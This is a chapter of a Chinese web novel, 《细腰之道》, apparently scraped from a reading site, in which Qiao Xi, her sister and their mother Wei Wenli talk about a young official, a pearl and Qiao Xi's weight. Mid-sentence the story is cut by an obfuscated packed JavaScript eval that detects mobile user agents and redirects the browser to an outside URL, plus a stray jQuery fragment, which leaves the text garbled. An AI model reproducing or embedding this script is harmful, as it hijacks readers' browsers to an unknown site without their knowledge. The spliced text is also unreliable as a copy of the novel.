8. 卫文郦

作品:《细腰之道

    “那公子的模样真板正,就算不是官员,肯定也不是寻常人家。”


    乔息弹了妹妹一脑门,“你懂什么是板正?”


    “我懂啊。”乔禾掰指头点评:“你看他身量高,仪态好,衣裳得体,举止斯文,脸上干净不赘,这不是板正吗?”


    乔息想想也是,“私下里随你怎么说,别拿到人家面前讲。”


    “我知道我知道,不要说得我特别无礼嘛。”


    打帘掀过,乔息见到内间坐在案前的卫文郦和一旁服侍的表素。


    娘亲长发素裹,同样用发带挽发,素面朝天,脸上与大半年前无异,浅淡的皱纹未见加深,反而嘴唇更显红润,气色好了。


    “你看看你这生意做得,啧啧啧。”卫文郦对着案上账本,指指点点:“大半年未见,真是做得越来越好了。”


    表素朝乔息一礼,“三姑娘。”


    姐妹俩一左一右围坐卫文郦,乔息离近便闻到一股丝气,她娘纱麻外衣里藏着绸缎内衬,而且是精贵罕见的绸缎,苦不了自己。


    乔禾指着自己,“那我呢我呢?我是不是也越来越好了?”


    卫文郦摸摸乔禾脑袋,“禾禾最好了,比你姐姐还好。”


    乔禾得意地笑,发钗晃得欢快起来,“我是很好啦,但还不如姐姐。”


    卫文郦扭头看乔息,上上下下前前后后打量着,头发丝都不放过。乔息由她娘观赏,从案上的屉盒里取出一只荷包。


    “刚才见到哪个板正的男人了?上眼啦?”


    “没有。”乔息将荷包打开,倒出一颗比指甲盖大的珍珠伸到她娘眼前,“什么时候回来的?”


    “昨儿夜里。”她娘接了珠子,对着耳垂一比,“好大的珠子,可以做个耳饰,只有一颗?”


    乔息抽出屉盒的屉盖,翻过来是面小镜子,照到她娘脸前,“只有一颗。做簪子吧。”


    “簪子?”卫文郦看了她一眼,转而对镜道:“不做簪子,你不喜欢。”


    “今日你有事忙没有?”乔息问道。


    “有,午后和你惠娘一起去看望音儿。”


    “正好,我有东西要给我姐。”乔息道:“上回去看她,她说月事带不好用,我就备了一批棉的给她,更宽的。你和禾禾也有,待会我叫稻华去取。”


    “行。我捎上。”珠子收入荷包,卫文郦将荷包系带缠在腰带上。


    “我也要去。”乔禾高高举手。


    “好,也捎上你。”


    乔息在家中排老三,上面一个哥哥,一个姐姐;下面一个妹妹,也算兄弟姐妹齐全。


    乔汲文和姐姐乔音是孙慧所生。姐姐只比她大一岁,前年出嫁;哥哥也已娶妻。剩下她和乔禾。


    娘亲又扭过脸来道:“那板正的男人的事还没说完呢。”


    “是个随长安服官一同来到临淄的官员。”乔息便把韦庄的事说了。


    卫文郦听完琢磨道:“二十岁出头的服官啊,啧啧,后生可畏。”


    “也不一定。”乔息道:“他的职责是监督服官,他自己或许不是。”


    “总之是个说话有份量的人,先信着吧。不说他看中了彩萤布,单就这次提议纸改布,用了万方的缣布,他都算于你生意有助。”


    这么一想,乔息道:“也是。”刚才问他的时候既没明确说是,也没说不是,这人还能再接触接触。


    “我下回再来见你们,岂不是得去长安了。”卫文郦捏捏禾禾的脸颊。


    “八字还没一撇。”乔禾肉嘟嘟的脸颊被掐着也不妨碍说话,“姐为了上京的事,最近都有些着急了。”


    卫文郦眼睛再次立刻看了过来。乔息赶紧道:“没有。”


    娘亲总是担心她犯急,她这些年明明已沉稳许多了。乔息语气轻松道:“没有着急,在其他商户面前做个样子而已。”


    她当然确实有点急,但要说特别着急那也没有。她需要在其他小作坊面前做做姿态,显得万方作坊并未与三服官串通,商单名额并未内定。


    虽然与下面的作坊存在竞争关系,但她并不想和其他商户交恶。迟早有一天她会离开临淄,作坊不能跟着她一起走,生意的根留在临淄还是不要树敌太多才好。官商之间暗中勾结,明面上却是相互对立,对外她与小作坊们统一战线才是最好不过,多的是商户愿意跟在她后面喝汤。


    “你操心什么?出了事情我不能担着?”卫文郦嗔怪地看着她,捏她的手臂,像拎一点皮肉,“心宽才能体胖,你学学禾禾,大半年来长得多敦实。”


    乔禾双手托腮,歪头得意地看她,指尖微微地陷入脸颊。


    “我也长了,我胖了三斤。”乔息拍打大臂,令增肥的肉弹起波浪,浪起来的波纹却是衣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353664|168003||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    裳。


    乔禾又举手,“没有,我作证,才两斤半。”


    卫文郦脸上严肃起来,审问她:“我离家前你答应我要胖几斤的?”


    “......要胖五斤。”乔息老实道。


    “答应我的事没做到,你说怎么办?”


    以死谢罪。乔息垂下脑袋认罪,不顶嘴。


    楼梯哒哒声响起,稻华小跑进来,见到卫文郦便惊喜道:“夫人来啦。”


    “昨儿夜里到的。”卫文郦一见稻华就笑,“小稻华长高了不少。”


    “嘿嘿。”稻华不好意思地挠挠头,喜上眉梢,和乔息说:“刚才回来因为带着韦公子就没有买褥子,我现在去买?”


    乔息许可,“去吧。出门前将我那批月事带备一下。”


    “好。”


    “表素也去。”乔禾道。


    “是。”乔禾身后的表素慢腾腾起身。稻华一把牵住表素的手就往外跑。


    “等会儿,别急。”卫文郦站起来拦住,“稻华,和我说说你姑娘这大半年来的饮食。”


    稻华忙刹住车,当即开始竹筒倒豆子:“姑娘最近两月吃得不少呢,睡前能吃下胡椒烧饼、牛肉干、油煎豆腐、酱猪蹄、三丝浓汤、萝卜糕、还有薄皮肉卷和一盘果子呢,好多好多。”


    卫文郦随着稻华走远,闻言眉头皱得极深,“吃这么多不长肉?”


    “长了一点点呢......”稻华的声音逐渐远去。


    乔息低头还在认罪,她看着自己的手。双手搭在膝盖上,指尖微触榻板。窗外阳光照着手背,斜出指骨小缕阴影,细细长长,显得边角十分立体。


    阴影靠近,遮住双手阳光。视线中凑近一张盛着阳光的灿极肤色,她抬头,禾禾正在偷瞧她。


    乔禾看着她,安静地微笑。乔息抬手抚摸那肤色暖暖的脸颊。


    禾禾撒娇:“晚上睡觉被窝冷,我想和你一起睡。”


    “怎么不来找我?”


    “爹不让我找你。”禾禾瘪嘴,躺下枕着她姐的大腿道:“明天就是述业日了,你回家吗?”


    乔息摇头,“三服官的事情定下前先不回去。”


    “爹希望你明天回家。”乔禾握住她姐的手,还是撒娇:“我想你帮我看看账本。”


    摸着脸颊的手指掐了一掐,乔息笑道:“好,帮你看。”